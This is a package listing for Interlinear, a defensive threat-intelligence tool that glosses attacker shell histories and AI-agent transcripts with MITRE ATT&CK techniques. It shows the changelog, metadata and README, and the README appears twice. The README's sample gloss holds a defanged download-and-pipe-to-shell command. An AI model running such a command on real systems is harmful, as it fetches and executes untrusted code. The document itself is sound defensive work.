interlinear-cti 0.1.0__tar.gz

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  1. interlinear_cti-0.1.0/.gitignore +8 -0
  2. interlinear_cti-0.1.0/CHANGELOG.md +64 -0
  3. interlinear_cti-0.1.0/LICENSE +201 -0
  4. interlinear_cti-0.1.0/NOTICE +8 -0
  5. interlinear_cti-0.1.0/PKG-INFO +148 -0
  6. interlinear_cti-0.1.0/README.md +113 -0
  7. interlinear_cti-0.1.0/plugin/.claude-plugin/plugin.json +13 -0
  8. interlinear_cti-0.1.0/plugin/skills/gloss/SKILL.md +104 -0
  9. interlinear_cti-0.1.0/pyproject.toml +58 -0
  10. interlinear_cti-0.1.0/src/interlinear_cti/__init__.py +3 -0
  11. interlinear_cti-0.1.0/src/interlinear_cti/cli.py +398 -0
  12. interlinear_cti-0.1.0/src/interlinear_cti/errors.py +10 -0
  13. interlinear_cti-0.1.0/src/interlinear_cti/export.py +165 -0
  14. interlinear_cti-0.1.0/src/interlinear_cti/fileio.py +75 -0
  15. interlinear_cti-0.1.0/src/interlinear_cti/glossing.py +303 -0
  16. interlinear_cti-0.1.0/src/interlinear_cti/iocs.py +684 -0
  17. interlinear_cti-0.1.0/src/interlinear_cti/model.py +129 -0
  18. interlinear_cti-0.1.0/src/interlinear_cti/normalize.py +1311 -0
  19. interlinear_cti-0.1.0/src/interlinear_cti/parse.py +615 -0
  20. interlinear_cti-0.1.0/src/interlinear_cti/parse_main.py +109 -0
  21. interlinear_cti-0.1.0/src/interlinear_cti/pyz.py +35 -0
  22. interlinear_cti-0.1.0/src/interlinear_cti/readers/__init__.py +123 -0
  23. interlinear_cti-0.1.0/src/interlinear_cti/readers/agent_log.py +64 -0
  24. interlinear_cti-0.1.0/src/interlinear_cti/readers/script.py +352 -0
  25. interlinear_cti-0.1.0/src/interlinear_cti/readers/shell_history.py +124 -0
  26. interlinear_cti-0.1.0/src/interlinear_cti/render.py +180 -0
  27. interlinear_cti-0.1.0/src/interlinear_cti/rules/00-context.yaml +101 -0
  28. interlinear_cti-0.1.0/src/interlinear_cti/rules/05-persistence.yaml +319 -0
  29. interlinear_cti-0.1.0/src/interlinear_cti/rules/10-transfer-exec.yaml +462 -0
  30. interlinear_cti-0.1.0/src/interlinear_cti/rules/15-credentials.yaml +95 -0
  31. interlinear_cti-0.1.0/src/interlinear_cti/rules/20-discovery.yaml +242 -0
  32. interlinear_cti-0.1.0/src/interlinear_cti/rules/25-collection.yaml +16 -0
  33. interlinear_cti-0.1.0/src/interlinear_cti/rules/30-persistence.yaml +96 -0
  34. interlinear_cti-0.1.0/src/interlinear_cti/rules/40-evasion.yaml +191 -0
  35. interlinear_cti-0.1.0/src/interlinear_cti/rules/50-network.yaml +164 -0
  36. interlinear_cti-0.1.0/src/interlinear_cti/rules/60-impact.yaml +22 -0
  37. interlinear_cti-0.1.0/src/interlinear_cti/rules/VERSION +1 -0
  38. interlinear_cti-0.1.0/src/interlinear_cti/rules.py +1085 -0
  39. interlinear_cti-0.1.0/src/interlinear_cti/textshow.py +110 -0
  40. interlinear_cti-0.1.0/src/interlinear_cti/tlds.py +82 -0
  41. interlinear_cti-0.1.0/src/interlinear_cti/verify.py +118 -0
  42. interlinear_cti-0.1.0/tests/conftest.py +134 -0
  43. interlinear_cti-0.1.0/tests/fixtures/approved/ConsoleHost_history.txt.md +33 -0
  44. interlinear_cti-0.1.0/tests/fixtures/approved/ConsoleHost_history.txt.scenario.json +46 -0
  45. interlinear_cti-0.1.0/tests/fixtures/approved/agent.jsonl.md +42 -0
  46. interlinear_cti-0.1.0/tests/fixtures/approved/agent.jsonl.scenario.json +22 -0
  47. interlinear_cti-0.1.0/tests/fixtures/approved/bash_history.md +50 -0
  48. interlinear_cti-0.1.0/tests/fixtures/approved/bash_history.scenario.json +62 -0
  49. interlinear_cti-0.1.0/tests/fixtures/approved/install.sh.md +44 -0
  50. interlinear_cti-0.1.0/tests/fixtures/approved/install.sh.scenario.json +38 -0
  51. interlinear_cti-0.1.0/tests/fixtures/approved/inventory.ps1.md +25 -0
  52. interlinear_cti-0.1.0/tests/fixtures/approved/inventory.ps1.scenario.json +30 -0
  53. interlinear_cti-0.1.0/tests/fixtures/approved/zsh_history.md +24 -0
  54. interlinear_cti-0.1.0/tests/fixtures/approved/zsh_history.scenario.json +30 -0
  55. interlinear_cti-0.1.0/tests/fixtures/inputs/ConsoleHost_history.txt +5 -0
  56. interlinear_cti-0.1.0/tests/fixtures/inputs/agent.jsonl +7 -0
  57. interlinear_cti-0.1.0/tests/fixtures/inputs/bash_history +16 -0
  58. interlinear_cti-0.1.0/tests/fixtures/inputs/install.sh +7 -0
  59. interlinear_cti-0.1.0/tests/fixtures/inputs/inventory.ps1 +5 -0
  60. interlinear_cti-0.1.0/tests/fixtures/inputs/zsh_history +4 -0
  61. interlinear_cti-0.1.0/tests/make_snapshots.py +31 -0
  62. interlinear_cti-0.1.0/tests/test_agent_split.py +173 -0
  63. interlinear_cti-0.1.0/tests/test_cli.py +40 -0
  64. interlinear_cti-0.1.0/tests/test_cli_parse.py +33 -0
  65. interlinear_cti-0.1.0/tests/test_context_shapes.py +604 -0
  66. interlinear_cti-0.1.0/tests/test_default_deny.py +290 -0
  67. interlinear_cti-0.1.0/tests/test_export.py +311 -0
  68. interlinear_cti-0.1.0/tests/test_fileio.py +115 -0
  69. interlinear_cti-0.1.0/tests/test_fixtures.py +115 -0
  70. interlinear_cti-0.1.0/tests/test_gloss_skill.py +34 -0
  71. interlinear_cti-0.1.0/tests/test_glossing.py +127 -0
  72. interlinear_cti-0.1.0/tests/test_glossing_hardening.py +847 -0
  73. interlinear_cti-0.1.0/tests/test_glossing_multiline.py +194 -0
  74. interlinear_cti-0.1.0/tests/test_install_hints.py +44 -0
  75. interlinear_cti-0.1.0/tests/test_iocs.py +55 -0
  76. interlinear_cti-0.1.0/tests/test_iocs_hardening.py +540 -0
  77. interlinear_cti-0.1.0/tests/test_model.py +66 -0
  78. interlinear_cti-0.1.0/tests/test_multiline_commands.py +300 -0
  79. interlinear_cti-0.1.0/tests/test_normalize.py +99 -0
  80. interlinear_cti-0.1.0/tests/test_normalize_hardening.py +1192 -0
  81. interlinear_cti-0.1.0/tests/test_output_writes.py +296 -0
  82. interlinear_cti-0.1.0/tests/test_package.py +4 -0
  83. interlinear_cti-0.1.0/tests/test_parse.py +135 -0
  84. interlinear_cti-0.1.0/tests/test_parse_hardening.py +915 -0
  85. interlinear_cti-0.1.0/tests/test_parse_safety.py +141 -0
  86. interlinear_cti-0.1.0/tests/test_readers.py +107 -0
  87. interlinear_cti-0.1.0/tests/test_readers_hardening.py +1012 -0
  88. interlinear_cti-0.1.0/tests/test_render.py +376 -0
  89. interlinear_cti-0.1.0/tests/test_rule_precision_fixes.py +76 -0
  90. interlinear_cti-0.1.0/tests/test_rules.py +64 -0
  91. interlinear_cti-0.1.0/tests/test_rules_coverage.py +682 -0
  92. interlinear_cti-0.1.0/tests/test_rules_hardening.py +768 -0
  93. interlinear_cti-0.1.0/tests/test_textshow.py +88 -0
  94. interlinear_cti-0.1.0/tests/test_verify.py +32 -0
  95. interlinear_cti-0.1.0/tests/test_verify_close.py +98 -0
  96. interlinear_cti-0.1.0/tests/test_verify_hardening.py +275 -0
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+ __pycache__/
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+ *.py[cod]
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+ .venv/
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+ dist/
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+ build/
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+ *.egg-info/
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+ .pytest_cache/
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+ out/
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+ # Changelog
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+
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+ All notable changes to Interlinear are recorded here. Versions follow [Semantic Versioning](https://semver.org/).
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+
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+ ## 0.1.0 (2026-10-21)
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+
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+ The first release.
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+
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+ ### Readers
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+
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+ - Bash and zsh histories, PowerShell `ConsoleHost_history.txt`, shell scripts, PowerShell scripts and generic AI-agent
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+ JSONL transcripts. A file's name or content decides how it is read; anything else is kept line by line as `unknown`.
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+ - Multi-line commands (continuations, quoted newlines, arrays, pipelines and heredocs) are read as one record, then
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+ split at the newlines, `;`, `&&`, `||` and `&` that end a command. An oversized heredoc body is split with a warning
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+ instead of being truncated.
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+ - An agent tool call that holds several commands is glossed one command at a time. Each part records where it came
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+ from in a `part` entry: its index, the number of parts and its offset in the command as the agent sent it. The first
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+ part also holds the whole command, which the Markdown view shows above the parts.
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+
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+ ### Safety
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+
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+ - Only `interlinear parse` reads raw attacker files. It is standard-library Python that never executes its input,
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+ opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
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+ `interlinear build-parse-pyz` packages it as a single zipapp to run in a sandbox.
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+ - Every later stage reads only the resulting `transcript.json`.
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+
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+ ### Glosses
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+
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+ - Every gloss is labeled by its source: `rule`, `model`, `analyst`, `none` (context) or `pending`.
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+ - The rule library, version 2026.10.6, holds 90 rules mapped to MITRE ATT&CK and ATLAS techniques, each with match
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+ and no-match examples that `interlinear rules test` checks (`--verify` also checks every technique ID).
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+ - The context label is default-deny. A line is labeled context only when it is plainly literal printable ASCII, and
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+ only while its file or session has not changed how later commands are found or run (an alias, a function, a shell
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+ option, a sourced file, `PATH` or another special variable). A file or session with a NUL, a carriage return or
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+ another control character gets no context label. The README explains what the label does and does not promise.
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+ - A PowerShell history or script whose line endings are all CRLF is read as if they were LF, so Windows files keep the
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+ context label. A lone CR, mixed line endings or any other control character still removes it, and bash, zsh and sh
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+ files with CRLF never get it.
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+ - Technique IDs are checked against Countermap's local MITRE data, through the `countermap` extra
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+ (`countermap>=0.2,<0.3`).
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+
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+ ### Claude Code plugin
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+
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+ - The `gloss` skill glosses the lines the rule library could not and submits them through
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+ `interlinear apply-glosses`, which validates, defangs and bounds them and labels them `model`. Analysts record their
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+ own glosses with `interlinear annotate`.
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+ - The skill runs on Haiku by default, which matched Opus on meaning and technique in trials on agent transcripts. Its
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+ report lists every line left pending or glossed with low confidence, for an analyst to review.
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+
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+ ### Outputs
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+
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+ - `transcript.json`, the source of truth for every later stage.
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+ - `interlinear render`: a Markdown interlinear view.
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+ - `interlinear export-scenario`: a Countermap scenario that Countermap can draw.
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+
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+ ### Documentation
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+
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+ - `docs/design.md`: the pipeline, the safety model, the data model, the rule library and the known limits.
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+ - `docs/evaluation.md`: how far to trust each label, how the default-deny CONTEXT gates were tested, a sampled check
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+ of rule glosses, coverage on public AI-agent duel transcripts, the model-tier trials, and the known limits.
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+
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+ ### Not yet included
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+
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+ - A dedicated PentAGI reader, which waits for documented real samples.
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+ Interlinear
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+ Copyright 2026 Diego Parra
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+
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+ Licensed under the Apache License, Version 2.0 (see LICENSE).
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+
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+ MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.
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+ ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated
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+ with or endorsed by MITRE.
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+ Metadata-Version: 2.5
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+ Name: interlinear-cti
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+ Version: 0.1.0
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+ Summary: Line-by-line glosses of attacker shell histories, scripts and AI-agent transcripts, with every gloss labeled by its source.
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+ Project-URL: Homepage, https://github.com/elchacal801/interlinear
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+ Project-URL: Source, https://github.com/elchacal801/interlinear
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+ Project-URL: Issues, https://github.com/elchacal801/interlinear/issues
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+ Project-URL: Changelog, https://github.com/elchacal801/interlinear/blob/main/CHANGELOG.md
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+ Author: Diego Parra
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+ License-Expression: Apache-2.0
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+ License-File: LICENSE
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+ License-File: NOTICE
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+ Keywords: ai-agents,incident-response,mitre-attack,shell-history,threat-intelligence
14
+ Classifier: Development Status :: 3 - Alpha
15
+ Classifier: Environment :: Console
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+ Classifier: Intended Audience :: Information Technology
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+ Classifier: Operating System :: OS Independent
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+ Classifier: Programming Language :: Python :: 3
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+ Classifier: Programming Language :: Python :: 3 :: Only
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+ Classifier: Programming Language :: Python :: 3.10
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+ Classifier: Programming Language :: Python :: 3.11
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+ Classifier: Programming Language :: Python :: 3.12
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+ Classifier: Programming Language :: Python :: 3.13
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+ Classifier: Programming Language :: Python :: 3.14
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+ Classifier: Topic :: Security
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+ Requires-Python: >=3.10
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+ Requires-Dist: pydantic>=2.8
28
+ Requires-Dist: pyyaml>=6.0.1
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+ Provides-Extra: countermap
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+ Requires-Dist: countermap<0.3,>=0.2; extra == 'countermap'
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+ Provides-Extra: dev
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+ Requires-Dist: markdown-it-py[linkify]>=3.0; extra == 'dev'
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+ Requires-Dist: pytest>=8; extra == 'dev'
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+ Description-Content-Type: text/markdown
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+
36
+ # Interlinear
37
+
38
+ Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:
39
+
40
+ | Source | Meaning |
41
+ |---|---|
42
+ | `rule` | Matched the deterministic rule library |
43
+ | `model` | Claude's analysis, through the gloss skill |
44
+ | `analyst` | A person's edit, through `interlinear annotate` |
45
+ | `none` | A context line the rule library recognized, such as `cd` or `ls`, or tool output, which is never glossed |
46
+ | `pending` | Not glossed yet |
47
+
48
+ A `model` or `analyst` gloss with no techniques marks a context line, and keeps its source. [docs/evaluation.md](https://github.com/elchacal801/interlinear/blob/main/docs/evaluation.md) says how far to trust each source and how that was tested, and [docs/design.md](https://github.com/elchacal801/interlinear/blob/main/docs/design.md) explains how Interlinear is built.
49
+
50
+ ### What the CONTEXT label means
51
+
52
+ The rule library labels a line as context (`none`) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as `cd /tmp`, `ls -la` or `echo done`. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns `PATH` or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.
53
+
54
+ ```text
55
+ 12 curl -s hxxp://203.0.113[.]5/x.sh | bash
56
+ T1105 Ingress Tool Transfer · T1059.004 Unix Shell [rule: download-pipe-shell]
57
+ Downloads a script and pipes it straight into a shell, so it runs without being saved.
58
+ ```
59
+
60
+ ## Safety model
61
+
62
+ - Only `interlinear parse` reads raw attacker files.
63
+ - It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
64
+ - Run it inside a sandbox: `interlinear build-parse-pyz` packages it as a single file for that.
65
+ - Every later stage reads only the resulting `transcript.json`.
66
+ - Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
67
+ - The skill's glosses are untrusted too. `interlinear apply-glosses` validates, defangs and bounds them, labels them `model`, and only fills pending lines. Analyst glosses go through `interlinear annotate`, which the skill never runs.
68
+
69
+ ## Install
70
+
71
+ With pipx, the second command also puts Countermap's own command on your PATH:
72
+
73
+ ```bash
74
+ pipx install "interlinear-cti[countermap]"
75
+ pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"
76
+ ```
77
+
78
+ With uv:
79
+
80
+ ```bash
81
+ uv tool install "interlinear-cti[countermap]" --with-executables-from countermap
82
+ ```
83
+
84
+ With pip, inside a virtual environment:
85
+
86
+ ```bash
87
+ pip install "interlinear-cti[countermap]"
88
+ ```
89
+
90
+ Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.
91
+
92
+ ```bash
93
+ countermap build
94
+ ```
95
+
96
+ ## Use
97
+
98
+ ```bash
99
+ # 1. Parse, in a sandbox
100
+ interlinear build-parse-pyz -o interlinear-parse.pyz
101
+ mkdir -p out # create it first, so the container user can write to it
102
+ docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
103
+ --memory 3g --user "$(id -u):$(id -g)" \
104
+ -v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
105
+ -v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
106
+ python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE
107
+
108
+ # 2. Gloss with the rule library, then the remaining lines with Claude Code
109
+ interlinear gloss out/transcript.json
110
+ # then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
111
+ # or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
112
+ # followed by: /plugin install interlinear@interlinear
113
+ # and run: /interlinear:gloss out/transcript.json
114
+ # Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
115
+ interlinear annotate out/transcript.json my-glosses.json --by "Your Name"
116
+
117
+ # 3. Outputs
118
+ interlinear render out/transcript.json # out/transcript.md
119
+ interlinear export-scenario out/transcript.json -o scenario.json
120
+ # then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model
121
+ ```
122
+
123
+ Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.
124
+
125
+ ## Input kinds
126
+
127
+ A file's name or content decides how it is read, for example `.bash_history`, `.zsh_history`, `ConsoleHost_history.txt`, `.sh`, `.ps1` and agent `.jsonl`. A file that matches none of them is kept line by line as `unknown`.
128
+
129
+ An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, `;`, `&&`, `||` and `&` that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a `part` entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.
130
+
131
+ ## The gloss skill
132
+
133
+ The skill runs on Haiku by default (`model: haiku` in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with `interlinear annotate`. The skill pre-approves only `interlinear pending` and `apply-glosses`. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. `render` itself writes only `.md` files, never an agent instruction file such as `CLAUDE.md`, and never replaces a file it did not write.
134
+
135
+ ## Exit codes
136
+
137
+ | Code | Meaning |
138
+ |---|---|
139
+ | 0 | Success |
140
+ | 1 | Success with warnings |
141
+ | 2 | Invalid input |
142
+ | 3 | Internal or write error |
143
+
144
+ A chain with `&&` stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.
145
+
146
+ ## License
147
+
148
+ Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.
@@ -0,0 +1,113 @@
1
+ # Interlinear
2
+
3
+ Interlinear turns attacker shell histories, dropped scripts and AI-agent transcripts into interlinear glosses. Under every line it adds what the line does in plain English, the MITRE ATT&CK® or ATLAS techniques it maps to, the artifacts and IOCs it touches, and where that gloss came from:
4
+
5
+ | Source | Meaning |
6
+ |---|---|
7
+ | `rule` | Matched the deterministic rule library |
8
+ | `model` | Claude's analysis, through the gloss skill |
9
+ | `analyst` | A person's edit, through `interlinear annotate` |
10
+ | `none` | A context line the rule library recognized, such as `cd` or `ls`, or tool output, which is never glossed |
11
+ | `pending` | Not glossed yet |
12
+
13
+ A `model` or `analyst` gloss with no techniques marks a context line, and keeps its source. [docs/evaluation.md](https://github.com/elchacal801/interlinear/blob/main/docs/evaluation.md) says how far to trust each source and how that was tested, and [docs/design.md](https://github.com/elchacal801/interlinear/blob/main/docs/design.md) explains how Interlinear is built.
14
+
15
+ ### What the CONTEXT label means
16
+
17
+ The rule library labels a line as context (`none`) only when the line is plainly literal: printable ASCII with no expansion, substitution, glob, redirection, pipe or separator, such as `cd /tmp`, `ls -la` or `echo done`. It also has to come from a file or session that has not changed how later commands are found or run. Once a history, script or agent session defines an alias or a function, sets a shell option, sources a file or assigns `PATH` or another special variable, no later line from it is labeled context, and the transcript's warnings name the line where that happened. A file or session that holds a NUL, a carriage return or another control character gets no context label at all. The one exception is a PowerShell script or history whose line endings are all CRLF, as Windows writes them: PowerShell reads CRLF as a plain line end, so such a file is read as if its lines ended in LF. A lone carriage return, a file that mixes CRLF and LF line ends, or any other control character still removes the label, and a bash, zsh or sh file with CRLF line endings never gets it. Everything else is explained by the rules or by the model. The label is an aid for an analyst, not a guarantee against a transcript crafted to mislead it.
18
+
19
+ ```text
20
+ 12 curl -s hxxp://203.0.113[.]5/x.sh | bash
21
+ T1105 Ingress Tool Transfer · T1059.004 Unix Shell [rule: download-pipe-shell]
22
+ Downloads a script and pipes it straight into a shell, so it runs without being saved.
23
+ ```
24
+
25
+ ## Safety model
26
+
27
+ - Only `interlinear parse` reads raw attacker files.
28
+ - It is standard-library Python that never executes its input, opens no network connections, defangs URLs, IPs and domains, and replaces encoded blobs with their SHA-256.
29
+ - Run it inside a sandbox: `interlinear build-parse-pyz` packages it as a single file for that.
30
+ - Every later stage reads only the resulting `transcript.json`.
31
+ - Transcript text can contain instructions aimed at AI analysts. The gloss skill treats it as data and never acts on it.
32
+ - The skill's glosses are untrusted too. `interlinear apply-glosses` validates, defangs and bounds them, labels them `model`, and only fills pending lines. Analyst glosses go through `interlinear annotate`, which the skill never runs.
33
+
34
+ ## Install
35
+
36
+ With pipx, the second command also puts Countermap's own command on your PATH:
37
+
38
+ ```bash
39
+ pipx install "interlinear-cti[countermap]"
40
+ pipx inject --include-apps --force interlinear-cti "countermap>=0.2,<0.3"
41
+ ```
42
+
43
+ With uv:
44
+
45
+ ```bash
46
+ uv tool install "interlinear-cti[countermap]" --with-executables-from countermap
47
+ ```
48
+
49
+ With pip, inside a virtual environment:
50
+
51
+ ```bash
52
+ pip install "interlinear-cti[countermap]"
53
+ ```
54
+
55
+ Then, once, build Countermap's database: Interlinear checks technique IDs against Countermap's local MITRE data.
56
+
57
+ ```bash
58
+ countermap build
59
+ ```
60
+
61
+ ## Use
62
+
63
+ ```bash
64
+ # 1. Parse, in a sandbox
65
+ interlinear build-parse-pyz -o interlinear-parse.pyz
66
+ mkdir -p out # create it first, so the container user can write to it
67
+ docker run --rm --network none --read-only --cap-drop ALL --security-opt no-new-privileges \
68
+ --memory 3g --user "$(id -u):$(id -g)" \
69
+ -v "$PWD/interlinear-parse.pyz:/tools/interlinear-parse.pyz:ro" \
70
+ -v "$PWD/raw:/in:ro" -v "$PWD/out:/out" \
71
+ python:3.12-slim python3 /tools/interlinear-parse.pyz /in -o /out/transcript.json --case CASE
72
+
73
+ # 2. Gloss with the rule library, then the remaining lines with Claude Code
74
+ interlinear gloss out/transcript.json
75
+ # then in Claude Code, once (2.1.275 or later): /plugin install interlinear --marketplace elchacal801/interlinear
76
+ # or, on older versions, two steps: /plugin marketplace add elchacal801/interlinear
77
+ # followed by: /plugin install interlinear@interlinear
78
+ # and run: /interlinear:gloss out/transcript.json
79
+ # Your own glosses, as a JSON list in the skill's format, replace earlier ones (which move to history):
80
+ interlinear annotate out/transcript.json my-glosses.json --by "Your Name"
81
+
82
+ # 3. Outputs
83
+ interlinear render out/transcript.json # out/transcript.md
84
+ interlinear export-scenario out/transcript.json -o scenario.json
85
+ # then in Claude Code with Countermap: draw scenario.json with /countermap:threat-model
86
+ ```
87
+
88
+ Any sandbox works if it gives the parse stage no network, a read-only input, a writable output folder and about 3 GB of memory.
89
+
90
+ ## Input kinds
91
+
92
+ A file's name or content decides how it is read, for example `.bash_history`, `.zsh_history`, `ConsoleHost_history.txt`, `.sh`, `.ps1` and agent `.jsonl`. A file that matches none of them is kept line by line as `unknown`.
93
+
94
+ An agent tool call that holds several commands is glossed one command at a time. It is split at the newlines, `;`, `&&`, `||` and `&` that end a command, never inside a quoted string, a substitution, a backslash continuation or a heredoc body, and a comment line becomes a line of its own. Each part keeps its call's record line and a `part` entry with its position, the number of parts and where it starts in the command, and the first part holds the whole command, which the Markdown view shows above the parts. The same context rules apply to every part.
95
+
96
+ ## The gloss skill
97
+
98
+ The skill runs on Haiku by default (`model: haiku` in its frontmatter), which matched Opus on meaning and technique in trials on agent transcripts. It ends with a list of the lines it left pending or glossed with low confidence, for an analyst to review with `interlinear annotate`. The skill pre-approves only `interlinear pending` and `apply-glosses`. Rendering the Markdown view and writing each scratch glosses file still ask for permission, by design. `render` itself writes only `.md` files, never an agent instruction file such as `CLAUDE.md`, and never replaces a file it did not write.
99
+
100
+ ## Exit codes
101
+
102
+ | Code | Meaning |
103
+ |---|---|
104
+ | 0 | Success |
105
+ | 1 | Success with warnings |
106
+ | 2 | Invalid input |
107
+ | 3 | Internal or write error |
108
+
109
+ A chain with `&&` stops after a run with warnings (code 1). To catch real failures, check for a code of 2 or more.
110
+
111
+ ## License
112
+
113
+ Apache-2.0. MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation; ATLAS is a trademark of The MITRE Corporation. Interlinear is not affiliated with or endorsed by MITRE.
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "interlinear",
3
+ "displayName": "Interlinear",
4
+ "version": "0.1.0",
5
+ "description": "Gloss the lines of an Interlinear transcript that the rule library could not, with MITRE ATT&CK® and ATLAS techniques verified through Countermap.",
6
+ "author": {
7
+ "name": "Diego Parra"
8
+ },
9
+ "homepage": "https://github.com/elchacal801/interlinear",
10
+ "repository": "https://github.com/elchacal801/interlinear",
11
+ "license": "Apache-2.0",
12
+ "keywords": ["threat-intelligence", "incident-response", "mitre-attack", "shell-history", "ai-agents"]
13
+ }